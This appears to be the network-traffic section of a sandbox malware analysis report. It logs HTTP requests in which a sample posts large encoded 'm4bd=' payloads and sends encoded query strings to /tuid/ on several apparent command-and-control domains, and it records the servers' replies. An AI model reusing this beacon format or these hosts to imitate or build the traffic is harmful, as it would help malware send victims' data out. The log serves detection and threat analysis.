5a 37 45 73 35 53 7a 32 38 4a 54 47 50 44 67 52 43 28 50 41 4a 6a 73 30 56 43 42 78 50 61 42 73 4a 41 4c 66 55 32 55 79 4a 71 5f 52 67 57 76 76 50 45 4a 45 44 6d 53 41 4c 78 77 45 54 5a 44 5a 47 28 70 41 51 4f 77 58 72 36 35 47 48 68 52 44 56 44 42 63 47 73 68 4c 51 67 72 59 6a 75 6e 71 36 4d 78 58 43 45 75 33 6e 39 5f 6a 57 55 48 4c 39 31 6e 7a 75 30 76 4b 70 6f 6d 67 36 33 38 47 61 54 34 76 58 4e 71 73 6d 64 46 61 4e 57 77 52 6e 31 78 62 39 68 62 41 37 5a 53 52 78 49 53 75 44 50 33 62 2d 36 43 39 53 7e 69 31 6c 4e 6b 50 64 39 79 6a 45 72 64 53 4c 32 44 42 65 4a 61 76 68 48 5f 75 4f 57 44 67 7a 70 46 36 74 4b 4b 51 62 65 51 36 4c 37 59 28 6b 52 4d 78 4b 58 62 79 4b 59 32 70 71 63 7a 73 39 33 44 38 36 30 41 43 42 44 6f 32 64 5a 4e 39 4e 66 6b 4d 6c 70 47 68 47 53 59 4e 63 7e 58 7a 51 35 44 61 52 4d 68 55 51 58 47 4a 35 61 55 32 49 74 51 50 58 52 63 4a 48 41 5a 52 62 64 4a 6c 49 62 37 71 32 79 69 47 4a 75 77 30 67 4c 64 6b 65 42 77 7a 75 4b 51 69 38 4c 43 4f 48 78 32 5a 51 79 32 6c 74 30 36 6e 72 33 43 48 4e 4d 4c 54 37 5a 42 50 52 5a 6b 79 31 75 52 75 6d 79 41 50 58 49 41 78 61 69 70 41 42 69 4a 70 61 6a 49 50 57 61 6e 28 31 68 71 72 67 43 38 50 44 77 6f 53 6a 44 6e 66 72 6a 64 28 48 79 6b 51 42 73 46 50 48 43 45 6a 6d 58 6c 77 44 4a 42 79 69 54 73 32 76 75 42 36 38 41 4e 65 49 54 45 68 71 39 72 62 38 41 58 52 5f 49 52 28 42 28 4e 5a 68 51 42 61 7a 53 37 7a 76 53 30 75 7a 34 35 68 73 30 6b 76 35 58 68 32 76 37 55 6b 34 70 74 76 33 78 44 48 59 68 67 74 76 4c 35 65 4c 48 6c 6b 37 52 75 64 57 5a 64 64 63 31 33 46 67 41 4e 7a 69 39 57 4b 53 42 68 50 6d 74 54 33 68 66 53 28 4e 46 65 71 37 32 61 66 66 34 76 44 6a 47 76 73 62 37 50 4e 67 51 45 71 66 54 38 6e 52 65 4a 62 37 43 63 5a 4c 28 78 74 32 66 76 65 6c 32 72 51 58 6d 32 53 4b 51 5a 37 5a 6f 4a 67 38 32 2d 38 32 43 78 7a 73 65 39 7e 36 78 64 4d 52 43 65 28 35 74 49 6b 67 52 4a 62 6e 50 78 7e 79 34 45 7a 62 50 54 31 76 64 56 7a 38 59 49 57 75 7a 33 6d 6e 6f 68 52 5f 7a 51 63 50 52 64 61 67 66 42 58 55 69 51 79 52 68 4e 69 55 32 58 4b 54 70 72 32 65 4d 7a 43 4c 52 4c 6d 46 4d 68 58 37 67 77 79 69 77 59 43 48 4d 36 4e 2d 78 6e 76 69 41 53 69 43 46 4e 50 53 72 4a 65 41 67 69 42 75 77 6c 36 32 51 61 66 54 53 70 52 64 32 63 78 6d 53 45 4c 39 78 34 57 75 58 32 37 68 31 46 6d 7a 64 7a 66 41 38 4a 4f 51 76 51 51 6c 59 31 47 63 44 55 56 53 69 55 79 70 66 6e 6a 61 52 4c 39 48 52 51 32 33 48 36 58 41 7e 30 6a 49 42 6a 72 5f 44 71 34 6b 38 77 4f 6e 34 4a 75 51 74 4e 49 2d 71 51 67 6f 76 45 47 62 6c 47 36 34 68 58 79 41 28 74 28 41 6c 77 49 62 4f 79 42 67 45 54 55 51 76 4b 71 62 4a 69 31 6f 36 63 55 33 4c 53 59 61 4a 77 42 52 41 5f 52 68 6b 53 52 47 6d 77 5a 55 4e 74 51 64 43 67 46 7a 64 48 44 4c 6b 4b 35 57 69 37 55 66 4d 5f 68 56 54 75 6f 4b 30 32 48 70 45 4d 42 64 43 56 63 47 59 55 62 33 47 77 55 79 4b 75 4d 66 7a 6d 31 68 50 6b 6d 4b 7e 36 63 4b 49 50 63 30 6a 30 43 6b 52 45 66 69 6b 71 55 52 45 59 70 46 6d 65 6b 4f 59 42 65 65 41 6c 6f 32 75 4a 63 67 79 68 67 2d 37 35 50 2d 62 6f 4e 73 73 68 52 50 70 48 32 33 34 5a 76 4d 55 78 73 6c 61 49 43 76 74 63 42 79 46 66 77 51 70 67 70 58 39 72 42 52 74 62 7a 57 59 64 41 53 78 6f 67 38 30 68 30 32 33 46 4d 7a 74 61 53 4b 6a 4b 4e 6a 65 54 6d 45 76 5a 79 67 55 6b 62 6b 72 59 46 49 74 64 70 6f 7e 6f 73 76 35 52 58 55 6c 33 47 2d 50 76 72 44 34 65 42 53 64 72 7a 4f 43 4e 77 41 70 34 58 47 58 4c 7a 45 62 47 47 6b 55 62 38 4b 79 50 6c 63 59 68 75 52 68 35 34 59 30 7a 42 59 33 66 45 56 59 47 46 6c 4e 44 51 4d 69 4f 71 39 54 32 59 70 67 69 65 65 65 59 28 62 37 5f 36 53 73 6e 76 66 33 76 52 63 4c 64 75 37 78 70 42 43 54 46 30 36 66 71 65 56 41 51 63 56 45 6a 39 74 32 33 64 6b 4d 4d 42 47 66 31 76 67 76 76 65 4c 63 6c 6f 79 56 4a 66 51 51 38 28 42 34 38 76 7a 77 33 4c 53 6c 74 51 36 48 54 4a 71 44 6d 59 74 46 4e 7a 64 79 4e 73 61 38 58 59 63 48 51 34 62 Data Ascii: m4bd=Ec07STl0sZknx3O3VDUDTMkZYpBzCc0akd3FJjVJQya1zTwU6mva7X1dYrkHaV1FBYfpDCPT46UI(GdWgJxH0Dm3Hu6OrZ7Es5Sz28JTGPDgRC(PAJjs0VCBxPaBsJALfU2UyJq_RgWvvPEJEDmSALxwETZDZG(pAQOwXr65GHhRDVDBcGshLQgrYjunq6MxXCEu3n9_jWUHL91nzu0vKpomg638GaT4vXNqsmdFaNWwRn1xb9hbA7ZSRxISuDP3b-6C9S~i1lNkPd9yjErdSL2DBeJavhH_uOWDgzpF6tKKQbeQ6L7Y(kRMxKXbyKY2pqczs93D860ACBDo2dZN9NfkMlpGhGSYNc~XzQ5DaRMhUQXGJ5aU2ItQPXRcJHAZRbdJlIb7q2yiGJuw0gLdkeBwzuKQi8LCOHx2ZQy2lt06nr3CHNMLT7ZBPRZky1uRumyAPXIAxaipABiJpajIPWan(1hqrgC8PDwoSjDnfrjd(HykQBsFPHCEjmXlwDJByiTs2vuB68ANeITEhq9rb8AXR_IR(B(NZhQBazS7zvS0uz45hs0kv5Xh2v7Uk4ptv3xDHYhgtvL5eLHlk7RudWZddc13FgANzi9WKSBhPmtT3hfS(NFeq72aff4vDjGvsb7PNgQEqfT8nReJb7CcZL(xt2fvel2rQXm2SKQZ7ZoJg82-82Cxzse9~6xdMRCe(5tIkgRJbnPx~y4EzbPT1vdVz8YIWuz3mnohR_zQcPRdagfBXUiQyRhNiU2XKTpr2eMzCLRLmFMhX7gwyiwYCHM6N-xnviASiCFNPSrJeAgiBuwl62QafTSpRd2cxmSEL9x4WuX27h1FmzdzfA8JOQvQQlY1GcDUVSiUypfnjaRL9HRQ23H6XA~0jIBjr_Dq4k8wOn4JuQtNI-qQgovEGblG64hXyA(t(AlwIbOyBgETUQvKqbJi1o6cU3LSYaJwBRA_RhkSRGmwZUNtQdCgFzdHDLkK5Wi7UfM_hVTuoK02HpEMBdCVcGYUb3GwUyKuMfzm1hPkmK~6cKIPc0j0CkREfikqUREYpFmekOYBeeAlo2uJcgyhg-75P-boNsshRPpH234ZvMUxslaICvtcByFfwQpgpX9rBRtbzWYdASxog80h023FMztaSKjKNjeTmEvZygUkbkrYFItdpo~osv5RXUl3G-PvrD4eBSdrzOCNwAp4XGXLzEbGGkUb8KyPlcYhuRh54Y0zBY3fEVYGFlNDQMiOq9T2YpgieeeY(b7_6Ssnvf3vRcLdu7xpBCTF06fqeVAQcVEj9t23dkMMBGf1vgvveLcloyVJfQQ8(B48vzw3LSltQ6HTJqDmYtFNzdyNsa8XYcHQ4bkO~dezfULAo-jAlsH3O4JpKBhRE6NTTx5kmannM2e7sNSfk3pLkE9CxfUtGN5kLTRBUn5P3ZUlAAynE8AznUnNHKn34_YbIB1lRRXvz5smmz(CvveChesOGJstXgue5La60fp9HdPrVrMNTVg4OVfY7Q5ThfJ7lqjg(4H27yuXpxJbAqpI1_kKw_RoVuWAfcRnCWY5ykqcj3xpjMpRksO50Yu51ZEIWkpHhI8JcGvl5ZuWAxzENgQ9UjcFaPAnJcuwblgg0fhetLl6Uix28KgMn3~N7SPNkUa_v9WxjEwwl5oQ3SOQ~2ql8rzfWNHBHYrMTP4XNxbdr2oZMREtm0i_omfh(nLfuHSpSnElZt1IhiKWd4(uOB8-w_THRQELNZT9grNsWGuhaxfsq27-(v1_ylE8tB~RIomMOepxyOg75JdhTcqHLKZtRZqg(5~zpAX1ChkJx0XaJn6wzV6GymB3dMTWY1kPtq1OupT42B8cVzgOQfuVj-L0cDy-9xrJnPVy9MgHw9eNMiupgQUcxIBssFhKTNIq(lS2REmmZFeP5Oox6FncjSY9pMIeA9vP3QcTGkpbuwHfFGX8vMop1NfIpeUSNqOI7sjCVVK3NMTBBYXwg1seVaSL1Xbm9eGS9IrI1155r7i83edlQMfgCCJGHeSQMSILodwaR8chdhU06rLF4KRrh3EbPTDv2Snqgfj7uR9G2G0O9UtzBWvEO55j1Pd3~z6ZrgrUzEKvzUgL5SVY6pyQZ714jMl3Iwd3Ltmm3Oyi27DtT3NJxuxofQHeE8MyPwZiyrpK9KKq9k6Jp-Y3vHWt8zx806Bkm8YWXb(4JK12GWqBKifxhwTXZ7Ewy_(cesU-L_bK2Sl93FURDZ1oiH(fBxh7jYMY4gjmSau6(saUQv~gwqzq4KrLS5md(EE2S8Gc6uZ5cvYZErrTFd0diLT0Ek41kebNcJEegmPaE0TU13WlpuBiawy3WCu8keffJFHKYAh0Loj5bpuYHSq0mDK8o46OkTvsuRnsbRU-kGixkGb24xCzKPOmlA8M14EUAphTeOGgEzlZsSPmEGT5qNTcK-NYVDWsckJ04FQkfo4ZnpSFBvgvdNtld5fAAHCzkbhSA0N_nl7SPpTovYyW3BuQXcB4BCgr(7i6NpzHp1kWJ-MaJxqMZLsxnbTxQSVNN4Zn(ertAhHc~kWOHVFYDs27vIPCyflVqCVqSSmOUl7ORrk1MOl3A1PyBiJedeQnikF-ESUZGElGSM1BBttdRYt1pgxtViMqQ4ebHGSBHV29xu53tOvxI1AgoJq-i7Jz9qGtgVOMMC6PdJ16tQo4pNMIZhsnp3PV48sl8qfqtxO_b2OQthV-wa~FrUee0X~AIzMAaUU8VyKdWkgWq0SWN-mHvsO5GdA4uTa6kbcXCG9QcIWyKsQvb3DVIT~ic2d-QDhIWBCgUcmYAKMVlyMbC_i3TKHZa2~VQeCLOdQDijRg(w5ix8oFJSyhHCgrWv~rfD4jJ5xQMHQrcT2OzHNEZLa5ysP8lIuZUymtrx2s0g7nAkPR0zfN0ba4IrQSYbwK9fmGOkacR2IoqtdRu0y_WCaFpa5lvCuvgNRQkx0TiRkmed8tuhvrRm4aJeFVcZCOcLP8w_lxTv2TwPmsztT8Y2wkGT5sqZwwjRIqNPqpH5rmJpJUcW2qnEICqC0uQ6eDEM2uLK2X4CChUimMUKXF0VsLjC3aEqxSENc4xDcZp39xtNYGAq6oE8X_Fs8ru6ROSlCjQPYuEEeZP4WKFMTxe89r6TMnI7G3Bl8g(pcyjoluYBhsiwZgLUp_KryLSoZ5SJWIK9oUJ6lKAwWbeiuCIIY5zXbeprHD9_JFRne2WgUCuC6178NwBJzmB0FzW25VW9WlchTGYHQyUfs1RzEFyeDeFNUOiJFLzrfF8u9PlxYjiqb_7673p7sJz_7YErj16AlIG4U4W8vyJ2cNRUlddQERlXfL16cifHpZxL8TFzmhw2Fg0lojyXHcxWm34ojdcRue8NORERRrvKF9gbefBsBTzvCijBfLlkhiu4UngxRIUxR1OSyFNZf2c-EFzkjwwWimvrDjyKF9NYL240CTDAGhl_15f-XBOuke8m(as39TroXFrVi2XHlWReU2LFP1RPMH5tv6v3sdzG6GVZAPGyRw7dZW3V25Piz6tyYJArAcvboYFR2v0xM5cfBbwQtBincoEh~l~34KBExMfVOIyMczxA20xvrA2fZLq6(GeV1w9Vy6CUr51NHiD7qs9d~z3ttvyD1F5lDTEFNHmkieuLUGccFZTTKkoQ4KQ1ZZ2fclqTiSrJBf64uUjRh6zjBbaBdvxOdyx7tfNTP2XIsibiWQdKT_Zg5TfsKOF7DjDb8tXaijkQkO4CKV(bRd1zVxjjh8S9HL1Oq5sPN1Z361qgS4AnL_BVksE2kfgbpv11T5Ddh9(Zl29ILHvVFDd97Oq8DAI8w3V_Z71zxK~xapQeMhVV8dhcrxNuGT5To0bjHOPQc6FsdgJDz6kICu7MF8JKHDTMihbbVu5K2Kuy1kcdICwxNWMwNCSKhF2TrUPqXxcNStJz97REmBLR24Gad7XE3Vgiks7lYp~f3yQiaPyVD1wPk-Z_o-S2AjsjPiUiY-NoRg21m0da(r5ZvjUMg70OnK2LBe0KXf7PDBaIu5JvDJDY768vOP8jy3hu56~IWcrakEdHQ7ubQ_ntlOXNYvvmgsS1W3h
Aug 8, 2022 17:45:25.885768890 CEST	1179	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:45:25 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:45:25 GMT Location: https://www.secureartist.com/tuid/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NyrP4hgMTBnn1vGSblDtvwDJulpdH9vceon7UYf04DbbV8v%2FojWgBrQzNS56QPHvq9lIDzE9Ey87MZOXJuSx7gaFWf993ET1pTC%2BqfvRWO7EcJSjMIq9VV8gq%2FBMpSXyM8oet0mLJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 73796108ad299256-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:25.867825985 CEST	1124	OUT	GET /tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.secureartist.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:25.888622046 CEST	1179	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:45:25 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:45:25 GMT Location: https://www.secureartist.com/tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lWzuVdGWUACpXhrt7xT1sETgPREppXmH3GgAdEvCMDnpPfUw%2FFr%2Fqs0H9bH%2BVePj%2BkLo%2FUOMlSZsMNs9abQt7uzXj%2Fa%2B69CIXWwgEsi%2F0u%2FtrLxAKZm56YeSn85WF2YEiq8ZWsJKYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 73796108bd73695e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:30.924655914 CEST	1189	OUT	POST /tuid/ HTTP/1.1 Host: www.ymsb.info Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.ymsb.info User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ymsb.info/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 7e 33 52 51 4d 32 71 44 64 5f 36 76 53 4b 52 63 54 41 4e 59 45 51 64 65 66 4e 36 30 69 6b 46 55 72 77 4c 71 77 31 54 59 6d 6f 7e 39 72 65 69 67 6f 70 57 6d 49 4b 36 6a 65 68 34 68 73 70 47 31 62 51 6d 2d 71 65 41 4f 30 4e 57 59 79 76 68 68 55 75 46 4e 70 44 7e 4a 6a 75 67 7a 4d 50 38 48 50 77 6d 2d 71 67 31 2d 42 56 30 39 36 4b 72 72 30 36 35 73 42 35 62 35 37 33 66 54 52 78 75 63 55 6c 65 6d 54 6b 46 44 6d 77 6b 34 33 65 35 48 36 61 70 32 71 4e 66 7a 6a 47 61 38 7e 37 72 74 79 79 7a 6f 46 31 47 43 4a 6d 30 64 76 51 47 51 79 4b 4e 37 6c 63 77 4c 73 4d 4d 4c 47 4b 34 46 77 71 66 68 54 42 42 71 6c 42 45 7a 51 35 77 4c 4d 58 4f 76 55 4c 44 78 6e 43 66 65 56 72 68 71 52 4d 6d 53 32 68 32 51 75 78 43 78 55 30 67 6e 4a 50 41 52 32 45 46 54 50 48 4f 74 63 79 33 4b 47 54 69 31 50 4f 72 55 52 53 7a 31 35 54 49 36 49 79 30 4e 39 4b 54 44 57 5a 63 38 39 44 53 35 4d 74 52 46 61 41 67 58 6a 5f 42 2d 53 54 6c 77 65 59 62 38 47 5f 74 50 4d 32 4f 44 62 6f 6c 68 35 6b 77 68 76 44 53 76 59 39 66 4a 53 51 6b 75 7a 55 6b 41 53 31 41 4d 49 30 6f 57 4e 76 70 51 46 32 79 6b 75 33 73 65 31 41 66 72 50 4e 52 64 4a 67 49 57 33 45 48 49 70 7a 67 71 39 55 44 6b 6c 6c 30 6d 6f 58 4e 70 35 4c 68 6b 32 55 35 4c 34 52 7e 43 4a 53 6b 66 6a 6c 79 69 47 47 67 61 4d 55 68 54 31 52 48 58 63 46 7e 56 4b 32 64 70 54 64 7e 5a 28 46 48 53 45 46 77 36 55 44 34 78 67 73 42 45 41 47 71 61 4e 41 6a 72 76 42 37 67 4a 31 37 79 38 65 67 66 42 63 37 78 65 68 76 59 39 49 30 5a 4f 59 63 52 54 75 59 67 54 59 37 79 65 42 69 72 35 43 74 34 47 70 47 79 36 6a 77 7a 7a 6f 49 77 30 62 53 66 78 71 34 74 62 76 7e 54 34 6f 56 56 4f 7a 52 32 4d 5f 4a 63 59 55 48 66 4f 70 61 67 52 32 5a 50 76 39 37 79 37 77 47 73 67 56 59 46 56 50 72 56 39 5f 6a 42 76 4f 38 6e 79 73 63 71 6a 32 6e 65 56 37 38 36 6e 48 78 71 4f 38 46 42 56 52 30 38 69 72 6a 77 53 49 33 58 41 31 64 69 44 59 35 72 4d 4b 6f 39 70 36 57 68 41 69 32 42 69 49 65 6a 32 42 50 73 70 65 76 68 7e 6c 45 4f 4d 30 4c 71 47 35 7e 46 47 50 73 77 4b 65 41 6e 46 6f 57 58 69 38 4f 32 66 59 4c 4c 70 5f 76 6b 42 79 41 79 65 53 77 48 71 4d 6d 52 41 73 55 6d 4d 74 4c 53 6c 2d 58 32 31 37 44 63 44 77 6d 34 32 46 6e 6a 51 38 30 42 6f 6f 4b 78 44 41 48 73 4c 2d 47 48 50 44 39 78 68 6f 6e 6f 48 37 33 48 73 4c 66 31 73 38 35 67 6a 36 75 46 47 37 4d 71 54 66 42 6a 6b 70 7a 67 55 32 4b 6a 54 64 31 6f 72 59 58 6a 48 37 74 68 31 52 4e 64 4c 77 6f 31 48 45 48 43 4e 74 4c 71 6c 6e 7a 6d 7a 7a 70 44 38 57 45 67 6d 72 71 47 5a 61 34 69 35 4c 50 37 78 46 74 36 5a 7a 56 50 65 6c 67 67 4d 73 43 57 62 43 46 66 42 45 4e 53 67 4e 63 42 28 73 6c 77 43 4e 76 65 35 50 34 34 70 44 4c 70 69 34 67 46 75 70 48 4a 72 30 68 79 48 70 57 72 68 51 78 75 59 59 48 68 38 71 4f 31 31 53 55 55 4a 6f 7a 43 59 31 78 47 71 36 33 50 48 75 35 64 45 43 70 31 52 64 34 50 44 61 32 67 56 4c 4d 4b 72 74 31 33 4f 53 6b 5f 59 6a 42 36 30 46 4d 66 73 4c 6e 42 56 52 42 6b 72 53 66 6c 62 50 4a 7a 58 77 73 4a 65 31 55 58 49 45 47 34 66 68 68 33 54 56 56 5a 53 7a 75 67 5a 4a 32 50 69 57 4c 31 66 4e 33 35 41 57 4b 5a 30 6c 6f 32 30 77 4b 71 43 76 63 48 4d 5a 63 59 68 53 55 6c 31 6c 76 49 39 45 32 58 6e 39 75 4a 66 38 76 67 6a 4b 7a 38 63 4a 4c 79 61 44 6b 58 51 30 6a 51 78 44 6b 56 62 6f 52 70 43 54 70 6d 7a 6e 48 64 44 30 78 2d 46 31 39 35 7e 2d 30 30 69 71 4c 30 56 65 46 69 58 63 52 69 69 59 38 70 76 71 45 56 48 67 63 49 4c 34 5a 43 4d 74 54 34 49 4f 33 70 77 39 4b 38 59 6d 4e 44 48 66 78 6c 75 6d 67 75 58 61 7e 5f 57 45 41 6b 46 32 4b 43 57 50 45 33 74 57 42 62 71 44 32 4e 30 4b 49 47 63 52 68 47 61 6c 4d 5a 64 2d 45 33 6b 57 4d 39 62 4c 69 5f 4b 33 6e 63 4b 37 59 57 52 6e 31 32 6b 51 55 55 45 58 55 5f 79 78 52 51 7e 64 48 4d 64 69 7a 45 55 77 31 71 6d 5a 37 64 46 42 43 36 4b 34 4d 42 44 4f 54 57 52 53 71 4b 77 66 65 6a 4f 74 79 58 31 34 45 39 54 56 38 6b 65 6b 59 2d 7e 2d 7a 56 74 6d 71 6f 59 34 7a 58 37 49 6d 65 75 49 6a 42 79 35 33 55 6c 70 77 41 57 49 41 6b 49 43 6b 49 64 2d 76 36 50 46 6f 74 44 4c 30 36 34 4c 30 54 4e 48 73 2d 55 7a 4d 55 6f 48 44 39 59 45 28 6a 71 4c 4e 54 7e 4c 31 72 4a 4c 42 37 6d 57 52 46 68 4b 45 32 5a 74 6a 4a 36 74 45 4a 5a 4d 74 75 77 54 Data Ascii: m4bd=~3RQM2qDd_6vSKRcTANYEQdefN60ikFUrwLqw1TYmo~9reigopWmIK6jeh4hspG1bQm-qeAO0NWYyvhhUuFNpD~JjugzMP8HPwm-qg1-BV096Krr065sB5b573fTRxucUlemTkFDmwk43e5H6ap2qNfzjGa8~7rtyyzoF1GCJm0dvQGQyKN7lcwLsMMLGK4FwqfhTBBqlBEzQ5wLMXOvULDxnCfeVrhqRMmS2h2QuxCxU0gnJPAR2EFTPHOtcy3KGTi1POrURSz15TI6Iy0N9KTDWZc89DS5MtRFaAgXj_B-STlweYb8G_tPM2ODbolh5kwhvDSvY9fJSQkuzUkAS1AMI0oWNvpQF2yku3se1AfrPNRdJgIW3EHIpzgq9UDkll0moXNp5Lhk2U5L4R~CJSkfjlyiGGgaMUhT1RHXcF~VK2dpTd~Z(FHSEFw6UD4xgsBEAGqaNAjrvB7gJ17y8egfBc7xehvY9I0ZOYcRTuYgTY7yeBir5Ct4GpGy6jwzzoIw0bSfxq4tbv~T4oVVOzR2M_JcYUHfOpagR2ZPv97y7wGsgVYFVPrV9_jBvO8nyscqj2neV786nHxqO8FBVR08irjwSI3XA1diDY5rMKo9p6WhAi2BiIej2BPspevh~lEOM0LqG5~FGPswKeAnFoWXi8O2fYLLp_vkByAyeSwHqMmRAsUmMtLSl-X217DcDwm42FnjQ80BooKxDAHsL-GHPD9xhonoH73HsLf1s85gj6uFG7MqTfBjkpzgU2KjTd1orYXjH7th1RNdLwo1HEHCNtLqlnzmzzpD8WEgmrqGZa4i5LP7xFt6ZzVPelggMsCWbCFfBENSgNcB(slwCNve5P44pDLpi4gFupHJr0hyHpWrhQxuYYHh8qO11SUUJozCY1xGq63PHu5dECp1Rd4PDa2gVLMKrt13OSk_YjB60FMfsLnBVRBkrSflbPJzXwsJe1UXIEG4fhh3TVVZSzugZJ2PiWL1fN35AWKZ0lo20wKqCvcHMZcYhSUl1lvI9E2Xn9uJf8vgjKz8cJLyaDkXQ0jQxDkVboRpCTpmznHdD0x-F195~-00iqL0VeFiXcRiiY8pvqEVHgcIL4ZCMtT4IO3pw9K8YmNDHfxlumguXa~_WEAkF2KCWPE3tWBbqD2N0KIGcRhGalMZd-E3kWM9bLi_K3ncK7YWRn12kQUUEXU_yxRQ~dHMdizEUw1qmZ7dFBC6K4MBDOTWRSqKwfejOtyX14E9TV8kekY-~-zVtmqoY4zX7ImeuIjBy53UlpwAWIAkICkId-v6PFotDL064L0TNHs-UzMUoHD9YE(jqLNT~L1rJLB7mWRFhKE2ZtjJ6tEJZMtuwTSo8985CQfP6tII8bwzU-AI485eY1kfWoDKVWBy9LJoEbJxUQ3h0Bh2ioprkQwJOJXo9HwztrWQ6QFC~ECQQsa7bNNaTqAm548O4hdynzdgqGSUbcvvS-FL7phkELBqdklAI-4Q8WUHjiy9V6gZLXfxkZZuJi~zIce695IiAJozFIjxutX76lrhj8dhUf14nDl6L5iwnihHkJVaRczUfi5NN81j~Quw1cselXzQjOM8GEEblYk-lVgg4zilTK7ksbqwwkWK9C~vEr~vSiATsFTta43qEVypOmLsEhHdL3k7nVUiwPQk3jjBAktd9n40FZLs45eOjpiDee97lrbgI8HwjblFX5aYIxPS7Airze6rc8coLcGEoQIEvcVJfb9Mq_FW(zXa5skGkLVtRIe0wNGy7BCpStnDNfIVb5IWzUO_1-kbmjNTzSTLFz3GVlrqMEV4qbw57KbSQh3RctbaQ8mZVoZYthVqMvZmuAC5kYSbt6OXfiM_xzef5pPer9sjl3fYCbC-al9StGru6lmmTi9JuVsVl3rrUprXo8~3ku(xbVi7KzgZLJjwVCQfECO4va3ZuTVV9EvJ1ioFB3aBI12Btvo_2Zl2W-755QJt(pMUIdCKWCUxd-VUyNWbrqtbjUxjtOGCwbybVfk4WPlWOqJoXSaeny72c2ZgFHT8vGntP33899clJk5bGH1IIM9_rQsiD_aFr9ylqS9uQ2R-evln~R0kUFj8LQvkr9j9ZoHB1InabiXII1ioQSXPbM3IYm9lEoC5PAFo8EscM4qmKZyejkRLpuzHjhQ3wuJODc1d9Q59gtpIMjiyUwuh(nZXUrLynUX9C7Y_wkX22YhvIIJ3lWuMWPC2RgkTXnDJV-nf7SDVWl0MamsxBvpUQRQmLDqI9qD8t_bda7pIl2mJvV8VlAQvTe3mE
Aug 8, 2022 17:45:31.143806934 CEST	1367	IN	HTTP/1.1 405 Allow: GET Content-Length: 0 Date: Mon, 08 Aug 2022 15:45:30 GMT Via: 1.1 google Connection: close

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:30.935682058 CEST	1227	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv HTTP/1.1 Host: www.ymsb.info Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:31.105803013 CEST	1367	IN	HTTP/1.1 302 Location: https://youtu.be/dqw4w9wgxcq Content-Length: 0 Date: Mon, 08 Aug 2022 15:45:30 GMT Via: 1.1 google Connection: close

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:36.160571098 CEST	1404	OUT	GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.coolarts.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:36.341478109 CEST	1545	IN	HTTP/1.1 403 Forbidden Server: awselb/2.0 Date: Mon, 08 Aug 2022 15:45:36 GMT Content-Type: text/html Content-Length: 118 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:41.422015905 CEST	1603	OUT	POST /tuid/ HTTP/1.1 Host: www.ap-render.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.ap-render.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ap-render.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 57 55 6e 4c 6c 62 54 59 74 6d 67 32 31 72 38 79 34 46 35 37 71 71 39 52 39 52 7a 41 52 45 46 66 57 33 53 4e 46 71 42 49 52 68 77 77 32 44 65 48 71 4f 4d 53 6f 49 79 52 68 47 38 31 4a 50 4c 48 6a 6f 41 43 42 2d 5a 6a 78 49 71 65 6f 62 59 39 